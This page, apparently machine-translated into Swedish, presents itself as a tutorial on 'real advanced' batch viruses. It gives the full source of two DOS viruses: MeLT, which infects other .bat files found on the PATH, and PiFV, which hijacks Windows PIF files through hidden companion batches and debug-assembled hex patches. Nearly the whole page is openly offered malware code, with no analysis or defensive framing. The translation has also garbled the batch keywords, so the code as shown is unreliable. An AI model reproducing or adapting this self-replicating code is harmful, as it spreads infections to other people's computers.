Batch-Tricks och Virusses (2 / 3 steg)
Steg 2: Riktiga virus (avancerade sådana)
1. den mest kraftfulla*******************
inte "%0 ==' om ' % _melt % ==' goto meltbeg
::---dummy värd---
utanför
ECHO Hej världen!
::---slutet dummy värd---
MeLTend [MeLT_2a]
: MeLTbeg
av % _MeLT %
om ' %1 == "smälta goto smälta %2
om inte finns % comspec % set comspec = % _MeLT % kommando
% comspec % /e:5000 /c %0 Smälta vir
Ange MeLTcl = %1, %2 %3 %4 %5 %6 %7 %8 %9
Ring %0 Smälta rh
ställa in _MeLT =
ställa in MeLTcl =
gå till MeLTend
: MeLTrh
Ange _MeLT = x
%0% MeLTcl %
: MeLTvir
Ange MeLTH = %0
om det inte finns %_MeLT%%temp%\nul ange temp = % tmp %
om det finns %temp%\MeLT_2a goto MeLTrun
%0 Smälta fnd. % path %
: MeLTfnd
Shift % _MeLT %
om ' %2 ==' avsluta smälta
ställa in MeLT=%2\%MeLTH%.bat
om inte finns % smälta % som MeLT=%2\%MeLTH%
om inte finns % smälta % som MeLT=%2%MeLTH%.bat
om inte finns % smälta % som smälta = %2% MeLTH %
om inte finns % smälta % goto MeLTfnd
hitta "Smälta" < % smälta % > %temp%\MeLT_2a
attrib %temp%\MeLT_2a + h
: MeLTrun
% MeLTH % smält s. .. % path %
: Smälter
Shift % _MeLT %
om ' %2 ==' avsluta smälta
för % (%2\*.bat % 2*.bat) kallar % MeLTH % smälta inf % %
gå till smälter
: MeLTinf
hitta /i "Smälta" < %3 > nul
om inte errorlevel 1 goto MeLTno
Upprepa inte ' %% 0 ==' om ' %% _melt %% == "gå till meltbeg > MeLT.t
typ %3 >> MeLT.t
ECHO. >> MeLT.t
Skriv %temp%\MeLT_2a >> MeLT.t
flytta MeLT.t %3 > nul
avsluta smälta
: MeLTact - blixt-melt text på skärmen och sedan sätta tillbaka till det normala
Upprepa e 100 BA D0 07 BB 00 B8 8E C3 8B CA 33 FF 26 8B 05 FE > MeLT.t
Upprepa e 110 C0 FE C4 26 89 05 47 47 E2 F2 FE 06 24 01 75 E8 >> MeLT.t
Upprepa e 120 B4 4 C CD 21 00 >> MeLT.t
ECHO g >> MeLT.t
debug < MeLT.t > nul
del MeLT.t
avsluta smälta
: MeLTno
Ange MeLTC = % MeLTC %1
om % MeLTC % == 1111111111 goto MeLTact
: MeLTend
*******************************************
2. Detta är ett virus som "infekterar" PIF-filer används av Windows för att
kör DOS-program. Det fungerar genom att skapa gömd följeslagare batchar
som innehåller kopior av detta sedan att ändra PIF-filen så att den
kamrat batchen körs första. När följeslagare körs det körs den
ursprungliga värdprogrammet, vars namn är kodad i den
följeslagare. Pif-filer markeras så att de inte kommer att
nytt smittas. Bara PIFS påverkas, inga ändringar i
de smittade program. För att "bota", använda PIFEDIT för att återställa den
ursprungliga filnamn ta bort de dolda filerna.
**********************************************
utanför
:: värd filnamn...
ställa in pifvo=LIST.COM
:: slinga dispatcher...
om ' %1 == "PiFV goto PiFV_ %2
:: köra viruset!
ställa in _PiFV =
om inte finns % comspec % set comspec=C:\COMMAND.COM%_PiFV%
% comspec % /e:5000 /c %0 PiFV gå > nul
om det finns PiFV! del PiFV!
:: köra värden
Ange PiFVcl = %1, %2 %3 %4 %5 %6 %7 %8 %9
Ring %0 PiFV hst
ställa in PiFVo =
ställa in PiFVcl =
:: kolla för aktiveringen...
ECHO. | Date|find /i "sat" > nul. PiFV
om errorlevel 1 goto PiFV_end
ECHO. | Time|Find "7" > nul. PiFV
om errorlevel 1 goto PiFV_msg
Ange PiFV = echo
CLS % _PiFV %
% PiFV %.
% PiFV % det var en gång en utter heter Oscer
% PiFV % som påstod sig veta hur man gör vatten.
% PiFV % "Inga fler dammar," sade han, "använda min vatten istället!"
% PiFV % men the Elder Otter var inte imponerad.
Pausa > nul. PiFV
ställa in PiFV =
gå till PiFV_end
: PiFV_msg
ECHO [PiFV] av WaveFunc
gå till PiFV_end
: PiFV_hst
% PiFVo % % PiFVcl %
gå till PiFV_end
: PiFV_go
Ange PiFVh = %0
om inte finns % PiFVh % som PiFVh=%0.bat
om inte finns % PiFVh % exit
för % % i (*.pif) kallar %0 PiFV inf % %
avsluta PiFV
: PiFV_inf
Ange PiFVp = %3
:: få offer filnamn och infektion markör
:: från PIF-filen med debug...
om det finns PiFV! gå till PiFV_1
ECHO m 124,162 524 > PiFV!
Upprepa e 100' fn =' >> PiFV!
ECHO m 524,562 108 >> PiFV!
ECHO n pifv$ .bat >> PiFV!
ECHO rcx >> PiFV!
ECHO 47 >> PiFV!
ECHO w >> PiFV!
ECHO m 55E, 561 108 >> PiFV!
Upprepa e 10C 0 >> PiFV!
ECHO n pifv$ $.bat >> PiFV!
ECHO rcx >> PiFV!
Upprepa 10 >> PiFV!
ECHO w >> PiFV!
ECHO q >> PiFV!
: PiFV_1
Felsöka % PiFVp % < PiFV! > nul
Ring PiFV$
Ange PiFVn = % fn %
Ring PiFV$ $
Ange PiFVi = % fn %
del PiFV$?. bat
:: pifvn = orig filnamn
:: pifvi = infektion markör
:: pifvp = pif filnamn
:: pifvh = följeslagare bat-filen
:: hoppa över infekterade eller 'tomt' PIF-filer...
om ' % PiFVi % =='PiFV goto PiFV_end
om ' % PiFVn % ==' goto PiFV_end
:: inte skugga command.com (vara trevligt)
ECHO % PiFVn % |find /i "kommando" > nul
om inte errorlevel 1 goto PiFV_end
:: infectable - skapa en kamrat batch...
:: (följande kod remsor av tillägget)
Upprepa e 100 e8 16 00 b4 08 cd 21 3c 00 74 0c 3c 2e 74 08 88 > PiFV$ $
ECHO e 110 c2 b4 02 cd 21 eb EG cd 20 ba 21 01 b4 09 cd 21 >> PiFV$ $
Upprepa e 120 c3 73 65 74 20 66 6e 3d 24 00 >> PiFV$ $
ECHO n pifv$ .com >> PiFV$ $
ECHO rcx >> PiFV$ $
ECHO 2a >> PiFV$ $
ECHO w >> PiFV$ $
ECHO q >> PiFV$ $
Felsöka < PiFV$ $> nul
ECHO % PiFVn % |PiFV$ > PiFV$ $.bat
Ring PiFV$ $
ställa in PiFVb=%fn%.bat
del PiFV$?. *
:: pifvb = nya journalnamn
:: inte skugga om comp har samma namn som värd
om % PiFVo % == % PiFVb % goto PiFV_end
om det finns % PiFVb % goto PiFV_end
ECHO off > % PiFVb %
ECHO ställa pifvo = % pifvn % >> % PiFVb %
hitta "PiFV" < % PiFVh % >> % PiFVb %
attrib % PiFVb % + h
::.. .och peka PIF på följeslagare
Upprepa e 15E 'PiFV', 0 > PiFV$ $
Upprepa e 124 '% PiFVb %', 0 >> PiFV$ $
ECHO w >> PiFV$ $
ECHO q >> PiFV$ $
Felsöka % PiFVp % < PiFV$ $> nul
del PiFV$ $
:: Jag tror vi är klara!
avsluta PiFV
: PiFV_end
:: undrar hur många buggar allt detta i det? Endast en
:: sättet att ta reda...
***************************************************